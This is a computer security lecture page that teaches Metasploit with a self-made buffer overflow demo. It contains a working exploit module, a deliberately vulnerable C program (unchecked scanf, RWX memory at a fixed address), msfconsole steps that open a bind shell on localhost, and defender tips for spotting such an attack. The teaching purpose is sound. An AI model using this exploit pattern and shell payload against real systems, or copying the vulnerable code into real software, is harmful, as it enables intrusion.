Buffer Overflow Part 3: Metasploit
Computer
Security Lecture, Dr.
Lawlor
Metasploit is a
reusable Ruby framework for building offensive tools for attacking
machines.
- Metasploit covers a wide
range of attack types, from classic buffer overflows to
phishing-type web forgeries.
- The distribution model is freemium / "open core": you can pay
to get more automation and reporting features.
Metasploit installation
is initially quite painless on a recent Linux machine, or it's part
of several tool distributions like Kali.
The default install location in Kali is
/usr/share/metasploit-framework/tools/modules/; for a manual install
it's /opt/metasploit-framework/embedded/framework/modules/.
To start metasploit command line, run
msfconsole
Using a Buffer Overflow Exploit Module
Metasploit
Unleashed has a good section on "Exploit Development".
Rapid7's design rationale for their exploit modules.
I wrote a tiny metasploitable
buffer overflow example program called ijit. (It's
called ijit because it's in the style of a heap-based exploit for a
Just-In-Time (JIT) compiler.)
To use it from a Linux machine, first softlink this code into your
metasploit modules directory:
cd
git clone https://github.com/olawlor/security
out=~/.msf4/modules/exploits/linux
mkdir -p $out
cd $out
ln -s ~/security/ijit/ijit.rb .
(Don't check out directly into modules/exploits, that will make
msfconsole hang at startup when it sees the executable git hooks!)
If you've already started metasploit, "reload_all" will rescan for
any new modules. The "~/.msf4" needs to be the same user
that's running msfconsole.
Now compile and run the vulnerable program, or use my precompiled
32-bit version if you're on Linux:
cd ~/security/ijit
gcc ijit.c -o ijit64
nc -l -p 8888 | ./ijit64
I'm using netcat to bolt TCP port 8888 to the vulnerable program's
standard input. Leave the vulnerable program running.
In another terminal, exploit it with msfconsole.
msfconsole
use exploit/linux/ijit
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x64/simple
show payloads
set payload linux/x64/shell/bind_tcp
exploit
If it doesn't work, make sure the vulnerable process is running and
your network works, and hit "exploit" again.
If it works, you get a shell on the target machine. Type
"exit" or kill the far side to get back to msfconsole.
Here's the modules/exploits/linux/ijit/ijit.rb
metasploit script. msfconsole "reload" is useful anytime you
change this script.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'ijit Demo Buffer Overflow',
'Description' => %q{
Simple demo buffer overflow for custom "ijit" server.
},
'Author' => [ 'OSL' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', 'xxxx-yyyy' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x20\x0a\x0d\x0b\x0c\x09",
},
'Platform' => 'linux',
'Targets' =>
[
[ 'ijit buffer start', { 'Ret' => 0x3badc040 } ],
[ 'ijit sled middle', { 'Ret' => 0x3badc240 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'November 2020'))
register_options(
[
Opt::RPORT(8888)
])
end
def exploit
print_status("Connecting to target...")
connect
sock.get_once
shellcode = payload.encoded
outbound = rand_text_alphanumeric(32) + payload.encoded + [target.ret].pack('Q')
print_status("Outbound data: \"#{outbound}\"")
hexed = shellcode.dump
print_status("Payload in hex: \"#{hexed}\"")
print_status("Trying target #{target.name}...")
sock.put(outbound)
handler
disconnect
end
end
(In
making this actually work, the hardest part was finding all the
BadChars. The payload byte copy will stop early if you send
over a bad character, leaving half-finished shellcode that usually
crashes with Illegal instruction.)
The vulnerable C code is below.
/**
ijit: interactive Just-In-Time compiler
UNIX program designed to be a relatively reliable simple target
for buffer overflow attacks.
Compile and run on TCP port 8888 with:
gcc ijit.c -o ijit
nc -l -p 8888 | ./ijit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
struct ijit_code;
/** This function pointer runs the jit'd code */
typedef void (*ijit_interpreter)(struct ijit_code *code);
/** This struct stores a block of jit code */
struct ijit_code {
char name[32]; /* run name */
char jitted[1024]; /* machine code to run */
ijit_interpreter interp; /* fallback interpreter function */
};
int main() {
/* Allocate executable area to store JIT code: */
struct ijit_code *code=(struct ijit_code *)mmap(
(void *)0x3badc000, /* pointer to base address of new jit_code structure */
4096, /* bytes of code to run */
PROT_READ|PROT_WRITE|PROT_EXEC, /* allow anything: RWX */
MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, /* allocate memory where I say */
-1, 0 /* file descriptor and offset not used. */
);
if (code==(struct ijit_code *)-1) {
perror("mmap"); exit(1);
}
/* Set up structure */
code->interp=0;
printf("Loading name into code struct at %p...\n",(void *)code);
/* VULNERABILTY HERE: read name *without* checking name length. */
if (1!=scanf("%s",code->name)) {
printf("ERROR in scanf. Exiting.\n"); exit(1);
}
printf("Loaded name %s (%zd bytes)\n", code->name, strlen(code->name));
/* Run the code */
if (code->interp) {
printf("Seems to be an interpreter at %p: running it...\n",(void *)code->interp);
code->interp(code);
printf("Back from interpreter.\n");
} else {
printf("No interpreter found. Exiting.\n");
}
return 0;
}
Here I'm allocating the jit_code space using mmap
for two reasons:
- I can set the memory protection to allow read, write, and
execute simultaneously. This is semi-realistic, since most
just-in-time compilers initially do this, although lately smart
people have been adding W^X
policy support to things like Firefox JIT: pages get
mapped rw, filled with machine code, then flipped over to rx
before they're run. Attackers work around W^X using things
like rop chains.
- I can define the memory start address directly, here
0x3badc000. This lets my example avoid the complexity of
things like ASLR that are designed to make addresses hard to
guess. This isn't very realistic, but real attackers can
often evade ASLR using techniques like heapspray, or just
guessing enough bits.
This is just a tiny taste of the full power of metasploit.
Defender: Ways to notice Metasploit
The actual attack gets sent across the network, so a good intrusion
detection system has a chance to detect it and reject it.
Metasploit includes many randomization modules (this is basically
it's main job) to make it harder to find the attack among regular
traffic.
"netstat -tulpan" shows a command and control connection from your
machine back to the attacker. By default this is a TCP stream
on TCP port 4444. By default your machine also listens on port
4444
- For a simple bind_tcp payload, the process name listening will
be "sh" (for the shell). No shell should be doing network
operations on a correctly operating machine!
- This is just the default, a sophisticated attacker can use any
port, for example:
- set LPORT 443
- set LPORT 53
- set LPORT 31337
- or forward the command and control via some other means,
like a stego image at a legit-looking web page.
"ps aux" shows no sign of the original server process (ijit),
because it's been overwritten (via exec /bin/sh). But it
didn't exit normally, or log anything. Instead, we now have a
process "/bin//sh". A sophisticated attacker will restart the
server, to make it less likely for the defender to notice anything's
wrong.
By default metasploit does not *touch* the disk. Because
everything's in memory only, if you shut down or restart the target,
you will cover all the attacker's tracks.
32-bit Equivalent
To compile and run the vulnerable program in 32-bit mode:
cd ~/security/ijit
gcc -m32 ijit.c -o ijit32
nc -l -p 8888 | ./ijit32
Leave the vulnerable program running.
In another terminal, exploit it with msfconsole.
msfconsole
use exploit/linux/ijit/ijit
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x86/single_byte
show payloads
set payload linux/x86/shell/bind_tcp
exploit
Debug: Making the Database Connection
By default metasploit relies on a database, postgres, which has a
bad habit of unpredictably failing and preventing msfconsole from
even starting. And it takes at least a few seconds to start
normally, so it's hard to distinguish from a hang. (msfconsole
will also hang on startup or reload_all if it finds anything
executable inside your modules directory, even a shell script or git
commit hook--it will run it and wait forever for it to respond to
jsonrpc calls.)
To verify postgres is running, try a netstat and make sure you have
a process named postgres listening on TCP port 5433; if not, you
need to start postgres manually, for example with one of these
commands:
- service postgresql start
- /opt/metasploit-framework/embedded/bin/postgres -D ~/.msf4/db/
If msfconsole hangs at startup, you can press ctrl-C twice (!) to
stop it attempting to connect to the database, giving you an
msfconsole. db_status will show the database status. You
may need to reconnect to the database with something like this:
- db_status
- db_connect -y ~/.msf4/database.yml
- db_status